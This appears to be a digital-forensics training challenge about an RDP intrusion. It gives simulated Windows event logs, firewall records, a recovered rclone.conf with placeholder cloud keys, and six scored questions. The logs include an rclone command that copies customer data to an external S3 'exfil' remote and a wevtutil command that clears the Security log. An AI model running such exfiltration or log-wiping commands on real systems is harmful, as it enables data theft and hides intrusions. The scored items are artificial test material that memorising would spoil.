all investigations
DFIR / Forensicsmedium
Midnight Breach: Unauthorized RDP Access & Data Exfiltration
At 02:47 UTC on March 15, 2024, your SIEM triggered an alert for suspicious RDP activity on a Windows file server (FS-PROD-02) hosting sensitive customer records. Multiple failed authentication attempts were followed by a successful login from an unusual geographic location. Your task is to analyze the provided artifacts to determine the scope of the breach, identify the attacker's actions, and assess what data may have been compromised.
// evidence
Security_Event_Log.evtx— Windows Security Event Log excerpt from FS-PROD-02 covering 02:30-03:15 UTC
EventID: 4625 | Time: 2024-03-15 02:34:18 UTC | Source: 10.18.23.91 | Account: administrator | Failure Reason: Bad password | Logon Type: 10 (RDP) EventID: 4625 | Time: 2024-03-15 02:35:02 UTC | Source: 10.18.23.91 | Account: svc_backup | Failure Reason: Bad password | Logon Type: 10 (RDP) EventID: 4625 | Time: 2024-03-15 02:36:44 UTC | Source: 10.18.23.91 | Account: jharris | Failure Reason: Bad password | Logon Type: 10 (RDP) EventID: 4625 | Time: 2024-03-15 02:38:12 UTC | Source: 10.18.23.91 | Account: mchen | Failure Reason: Bad password | Logon Type: 10 (RDP) EventID: 4624 | Time: 2024-03-15 02:47:33 UTC | Source: 10.18.23.91 | Account: mchen | Logon Success | Logon Type: 10 (RDP) | Session: RDP-Tcp#47 EventID: 4688 | Time: 2024-03-15 02:49:17 UTC | Process: C:\Windows\System32\cmd.exe | Parent: explorer.exe | User: mchen | CommandLine: cmd.exe EventID: 4688 | Time: 2024-03-15 02:51:08 UTC | Process: C:\Windows\System32\net.exe | Parent: cmd.exe | User: mchen | CommandLine: net user mchen /domain EventID: 4688 | Time: 2024-03-15 02:52:41 UTC | Process: C:\Users\mchen\AppData\Local\Temp\rclone.exe | Parent: cmd.exe | User: mchen | CommandLine: rclone.exe copy E:\CustomerData\Q1_2024 remote:exfil --transfers 8 EventID: 4688 | Time: 2024-03-15 03:07:29 UTC | Process: C:\Windows\System32\wevtutil.exe | Parent: cmd.exe | User: mchen | CommandLine: wevtutil.exe cl Security EventID: 4634 | Time: 2024-03-15 03:08:55 UTC | Account: mchen | Logon ID: 0x3FA219 | Session terminated
Firewall_Traffic_Log.csv— Perimeter firewall logs for FS-PROD-02 outbound connections during incident window
Timestamp,Source_IP,Dest_IP,Dest_Port,Protocol,Bytes_Sent,Action 2024-03-15 02:52:44,192.168.10.45,185.174.136.22,443,TCP,847,ALLOW 2024-03-15 02:52:51,192.168.10.45,185.174.136.22,443,TCP,294847221,ALLOW 2024-03-15 02:58:33,192.168.10.45,185.174.136.22,443,TCP,198472638,ALLOW 2024-03-15 03:04:18,192.168.10.45,185.174.136.22,443,TCP,167293847,ALLOW 2024-03-15 03:07:02,192.168.10.45,185.174.136.22,443,TCP,94736281,ALLOW 2024-03-15 03:08:41,192.168.10.45,185.174.136.22,443,TCP,2847,ALLOW
rclone.conf— Configuration file recovered from C:\Users\mchen\AppData\Local\Temp\ during forensic acquisition
[remote] type = s3 provider = AWS access_key_id = AKIAJ7XK2PMTH9EXAMPLE secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = eu-central-1 acl = private server_side_encryption = AES256 storage_class = STANDARD [exfil] type = alias remote = remote:databucket-7f4k9m2x
DHCP_Lease_History.log— DHCP server logs showing IP-to-hostname mappings for the incident timeframe
2024-03-15 02:31:15 | LEASE ASSIGNED | IP: 10.18.23.91 | MAC: 00:0C:29:8F:A3:D1 | Hostname: LAPTOP-MCHEN | Lease Duration: 8h 2024-03-15 02:34:09 | LEASE RENEWED | IP: 192.168.10.45 | MAC: 00:50:56:9A:12:7E | Hostname: FS-PROD-02 | Lease Duration: 24h 2024-03-15 08:45:22 | LEASE ASSIGNED | IP: 10.18.23.91 | MAC: 00:0C:29:8F:A3:D1 | Hostname: LAPTOP-MCHEN | Lease Duration: 8h
// tasks (0/6)
1
What is the source IP address from which the attacker conducted the brute force authentication attempts? · 12 pts
// graded hints — spend XP to unstick
2
Which compromised user account was successfully used to gain RDP access to the file server? · 10 pts
// graded hints — spend XP to unstick
3
What is the external IP address to which the attacker exfiltrated data? · 15 pts
// graded hints — spend XP to unstick
4
What tool did the attacker use to exfiltrate the customer data? (provide the executable filename) · 13 pts
// graded hints — spend XP to unstick
5
What is the name of the S3 bucket configured as the exfiltration destination? · 18 pts
// graded hints — spend XP to unstick
6
At what time (UTC) did the attacker attempt to clear the Security event log? (format: HH:MM) · 17 pts
// graded hints — spend XP to unstick